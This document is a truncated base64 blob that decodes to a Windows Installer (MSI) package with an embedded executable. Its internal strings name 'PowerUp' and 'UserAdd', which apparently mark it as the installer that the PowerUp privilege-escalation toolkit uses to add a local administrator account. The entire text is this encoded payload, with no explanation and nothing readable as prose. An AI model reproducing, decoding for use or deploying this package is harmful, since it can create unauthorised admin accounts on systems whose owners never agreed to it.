AAAAAAAAAAAWgAAACYAAAAAAAAAC0MxQTVHfkG9RwxG9kUyRIpBN0NyRM1DL0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAgH/////DwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAAFgBAAAAAABASIxE8ERyRGhEN0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAMAAAAAAAAAEBIDEb2RTJEikE3Q3JEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALwAAADwAAAAAAAAAQEgNQzVC5kVyRTxIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgEOAAAAGAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAEgAAAAAAAABASA9C5EV4RShIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEAAAAQAAAAAAAAAEBID0LkRXhFKDsyRLNEMULxRTZIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAIB/////xEAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMgAAAAQAAAAAAAAAQEhZRfJEaEU3RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAgEUAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABXAAAAWAAAAAAAAAALQzFBNUd+Qb1HYEXkRDNCJz/oRfhEWUWyQjVBMEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAOAEAAAAAAEBIUkT2ReRDrzs7QiZGN0IcQjRGaEQmQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIABQAAAAgAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAJYAAAAAAAAAQEhSRPZF5EOvPxI/KEU4QrFBKEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AAAAMAAAAAAAAABASBVBeETmQoxE8UHsRaxEMUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAACAQoAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAAAAEAAAAAAAAAEBIFkInQyRIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOQAAAA4AAAAAAAAAQEjeRGpF5EEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABWAAAAIAAAAAAAAABASBtCKkP2RTVHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAQcAAAALAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAAAA8AAAAAAAAAEBIPzvyQzhEsUUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASwAAAKACAAAAAAAAQEg/P3dFbERqPrJEL0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtAAAASAQAAAAAAABASD8/d0VsRGo75EUkSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAQkAAAAXAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAPIAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWwAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////BiEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAP7/////////CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAD+/////v////7////+////MwAAAP7////+/////v////7////+////OgAAADUAAAA2AAAA/v////7////+/////v///zsAAAA9AAAA/v///z4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAAD+////TAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAAVQAAAP7////+////WAAAAP7////+/////v///1wAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAKgBAAAOAAAAAQAAAHgAAAACAAAAkAEAAAMAAACAAQAABAAAAHABAAAFAAAAgAAAAAYAAAAoAQAABwAAAJQAAAAJAAAAqAAAAAwAAADYAAAADQAAAOQAAAAOAAAA8AAAAA8AAAD4AAAAEgAAAAgBAAATAAAAAAEAAAIAAADkBAAAHgAAAAoAAABJbnN0YWxsZXIAAAAeAAAACwAAAEludGVsOzEwMzMAAB4AAAAnAAAAe0EwNDlFMzFGLTc3MDEtNEM0QS1BQ0JDLUIyNjBFQjA4QkI0Q30AAEAAAAAALfR1QTjPAUAAAAAALfR1QTjPAQMAAADIAAAAAwAAAAIAAAADAAAAAgAAAB4AAAAXAAAATVNJIFdyYXBwZXIgKDQuMS41NC4wKQAAHgAAAEAAAABJbnN0YWxsZXIgd3JhcHBlZCBieSBNU0kgV3JhcHBlciAoNC4xLjU0LjApIGZyb20gd3d3LmV4ZW1zaS5jb20AHgAAAAgAAABQb3dlclVwAB4AAAAIAAAAVXNlckFkZAAeAAAAEAAAAFVzZXJBZGQgMS4wLjAuMABBOM8BAwAAAMgAAAADAAAAAgAAAB4AAAArAAAAV2luZG93cyBJbnN0YWxsZXIgWE1MIFRvb2xzZXQgKDMuOC4xMTI4LjApAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABgAGAAYABgAGAAYABgAGAAYACgAKACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAACAAUACwAMAA0ADgAPABAAEQASAAcACQAjACUAJwAjACUAJwAjACUAJwABAC0AJQAvADEANAA3ADoANQBJAEsABAAjAEAAQwBGAAsANAA3AE0ATwBRAFQAVgBdAF8AJwA3AF8AYQBkAGcAaQBrAAEALQAjACUAJwAjACUAJwALACUAQAB4AHoAfAB+AIAABwCCAAEABwBfAIYAiACKADcAawCRAJMAlQCZAJsACAAIABgAGAAYABgAGAAIABgAGAAIAAgACAAYABgACAAYABgACAAYABgACAAIABgACAAYAAgACAAYAAgAGAAIAAgACAAYABgAGAAYABgACAAIABgAGAAYAAgACAAIAAgAGAAIAAgACAAIABgAGAAIAAgACAAYABgACAAYABgACAAIABgACAAIABgAGAAYAAgACAAYABgACAAIAAgACAAIABgACAAYABgAGAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAQAAgAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAEAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////fwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAACA/////wAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/AID/fwCAAAAAAAAAAAD//////38AgAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/38AgP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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2FzZTtMb3dlckNhc2U7RmlsZW5hbWU7UGF0aHM7QW55UGF0aDtXaWxkQ2FyZEZpbGVuYW1lO1JlZ1BhdGg7Q3VzdG9tU291cmNlO1Byb3BlcnR5O0NhYmluZXQ7U2hvcnRjdXQ7Rm9ybWF0dGVkU0RETFRleHQ7SW50ZWdlcjtEb3VibGVJbnRlZ2VyO1RpbWVEYXRlO0RlZmF1bHREaXJTdHJpbmcgY2F0ZWdvcnlUZXh0U2V0IG9mIHZhbHVlcyB0aGF0IGFyZSBwZXJtaXR0ZWREZXNjcmlwdGlvbiBvZiBjb2x1bW5BZG1pbkV4ZWN1dGVTZXF1ZW5jZUFjdGlvbk5hbWUgb2YgYWN0aW9uIHRvIGludm9rZSwgZWl0aGVyIGluIHRoZSBlbmdpbmUgb3IgdGhlIGhhbmRsZXIgRExMLkNvbmRpdGlvbk9wdGlvbmFsIGV4cHJlc3Npb24gd2hpY2ggc2tpcHMgdGhlIGFjdGlvbiBpZiBldmFsdWF0ZXMgdG8gZXhwRmFsc2UuSWYgdGhlIGV4cHJlc3Npb24gc3ludGF4IGlzIGludmFsaWQsIHRoZSBlbmdpbmUgd2lsbCB0ZXJtaW5hdGUsIHJldHVybmluZyBpZXNCYWRBY3Rpb25EYXRhLlNlcXVlbmNlTnVtYmVyIHRoYXQgZGV0ZXJtaW5lcyB0aGUgc29ydCBvcmRlciBpbiB3aGljaCB0aGUgYWN0aW9ucyBhcmUgdG8gYmUgZXhlY3V0ZWQuICBMZWF2ZSBibGFuayB0byBzdXBwcmVzcyBhY3Rpb24uQWRtaW5VSVNlcXVlbmNlQWR2dEV4ZWN1dGVTZXF1ZW5jZUJpbmFyeVVuaXF1ZSBrZXkgaWRlbnRpZnlpbmcgdGhlIGJpbmFyeSBkYXRhLkRhdGFUaGUgdW5mb3JtYXR0ZWQgYmluYXJ5IGRhdGEuQ29tcG9uZW50UHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgY29tcG9uZW50IHJlY29yZC5Db21wb25lbnRJZEd1aWRBIHN0cmluZyBHVUlEIHVuaXF1ZSB0byB0aGlzIGNvbXBvbmVudCwgdmVyc2lvbiwgYW5kIGxhbmd1YWdlLkRpcmVjdG9yeV9EaXJlY3RvcnlSZXF1aXJlZCBrZXkgb2YgYSBEaXJlY3RvcnkgdGFibGUgcmVjb3JkLiBUaGlzIGlzIGFjdHVhbGx5IGEgcHJvcGVydHkgbmFtZSB3aG9zZSB2YWx1ZSBjb250YWlucyB0aGUgYWN0dWFsIHBhdGgsIHNldCBlaXRoZXIgYnkgdGhlIEFwcFNlYXJjaCBhY3Rpb24gb3Igd2l0aCB0aGUgZGVmYXVsdCBzZXR0aW5nIG9idGFpbmVkIGZyb20gdGhlIERpcmVjdG9yeSB0YWJsZS5BdHRyaWJ1dGVzUmVtb3RlIGV4ZWN1dGlvbiBvcHRpb24sIG9uZSBvZiBpcnNFbnVtQSBjb25kaXRpb25hbCBzdGF0ZW1lbnQgdGhhdCB3aWxsIGRpc2FibGUgdGhpcyBjb21wb25lbnQgaWYgdGhlIHNwZWNpZmllZCBjb25kaXRpb24gZXZhbHVhdGVzIHRvIHRoZSAnVHJ1ZScgc3RhdGUuIElmIGEgY29tcG9uZW50IGlzIGRpc2FibGVkLCBpdCB3aWxsIG5vdCBiZSBpbnN0YWxsZWQsIHJlZ2FyZGxlc3Mgb2YgdGhlICdBY3Rpb24nIHN0YXRlIGFzc29jaWF0ZWQgd2l0aCB0aGUgY29tcG9uZW50LktleVBhdGhGaWxlO1JlZ2lzdHJ5O09EQkNEYXRhU291cmNlRWl0aGVyIHRoZSBwcmltYXJ5IGtleSBpbnRvIHRoZSBGaWxlIHRhYmxlLCBSZWdpc3RyeSB0YWJsZSwgb3IgT0RCQ0RhdGFTb3VyY2UgdGFibGUuIFRoaXMgZXh0cmFjdCBwYXRoIGlzIHN0b3JlZCB3aGVuIHRoZSBjb21wb25lbnQgaXMgaW5zdGFsbGVkLCBhbmQgaXMgdXNlZCB0byBkZXRlY3QgdGhlIHByZXNlbmNlIG9mIHRoZSBjb21wb25lbnQgYW5kIHRvIHJldHVybiB0aGUgcGF0aCB0byBpdC5DdXN0b21BY3Rpb25QcmltYXJ5IGtleSwgbmFtZSBvZiBhY3Rpb24sIG5vcm1hbGx5IGFwcGVhcnMgaW4gc2VxdWVuY2UgdGFibGUgdW5sZXNzIHByaXZhdGUgdXNlLlRoZSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSwgY29uc2lzdGluZyBvZiBzb3VyY2UgbG9jYXRpb24sIGNvZGUgdHlwZSwgZW50cnksIG9wdGlvbiBmbGFncy5Tb3VyY2VDdXN0b21Tb3VyY2VUaGUgdGFibGUgcmVmZXJlbmNlIG9mIHRoZSBzb3VyY2Ugb2YgdGhlIGNvZGUuVGFyZ2V0Rm9ybWF0dGVkRXhjZWN1dGlvbiBwYXJhbWV0ZXIsIGRlcGVuZHMgb24gdGhlIHR5cGUgb2YgY3VzdG9tIGFjdGlvbkV4dGVuZGVkVHlwZUEgbnVtZXJpYyBjdXN0b20gYWN0aW9uIHR5cGUgdGhhdCBleHRlbmRzIGNvZGUgdHlwZSBvciBvcHRpb24gZmxhZ3Mgb2YgdGhlIFR5cGUgY29sdW1uLlVuaXF1ZSBpZGVudGlmaWVyIGZvciBkaXJlY3RvcnkgZW50cnksIHByaW1hcnkga2V5LiBJZiBhIHByb3BlcnR5IGJ5IHRoaXMgbmFtZSBpcyBkZWZpbmVkLCBpdCBjb250YWlucyB0aGUgZnVsbCBwYXRoIHRvIHRoZSBkaXJlY3RvcnkuRGlyZWN0b3J5X1BhcmVudFJlZmVyZW5jZSB0byB0aGUgZW50cnkgaW4gdGhpcyB0YWJsZSBzcGVjaWZ5aW5nIHRoZSBkZWZhdWx0IHBhcmVudCBkaXJlY3RvcnkuIEEgcmVjb3JkIHBhcmVudGVkIHRvIGl0c2VsZiBvciB3aXRoIGEgTnVsbCBwYXJlbnQgcmVwcmVzZW50cyBhIHJvb3Qgb2YgdGhlIGluc3RhbGwgdHJlZS5EZWZhdWx0RGlyVGhlIGRlZmF1bHQgc3ViLXBhdGggdW5kZXIgcGFyZW50J3MgcGF0aC5GZWF0dXJlUHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgZmVhdHVyZSByZWNvcmQuRmVhdHVyZV9QYXJlbnRPcHRpb25hbCBrZXkgb2YgYSBwYXJlbnQgcmVjb3JkIGluIHRoZSBzYW1lIHRhYmxlLiBJZiB0aGUgcGFyZW50IGlzIG5vdCBzZWxlY3RlZCwgdGhlbiB0aGUgcmVjb3JkIHdpbGwgbm90IGJlIGluc3RhbGxlZC4gTnVsbCBpbmRpY2F0ZXMgYSByb290IGl0ZW0uVGl0bGVTaG9ydCB0ZXh0IGlkZW50aWZ5aW5nIGEgdmlzaWJsZSBmZWF0dXJlIGl0ZW0uTG9uZ2VyIGRlc2NyaXB0aXZlIHRleHQgZGVzY3JpYmluZyBhIHZpc2libGUgZmVhdHVyZSBpdGVtLkRpc3BsYXlOdW1lcmljIHNvcnQgb3JkZXIsIHVzZWQgdG8gZm9yY2UgYSBzcGVjaWZpYyBkaXNwbGF5IG9yZGVyaW5nLkxldmVsVGhlIGluc3RhbGwgbGV2ZWwgYXQgd2hpY2ggcmVjb3JkIHdpbGwgYmUgaW5pdGlhbGx5IHNlbGVjdGVkLiBBbiBpbn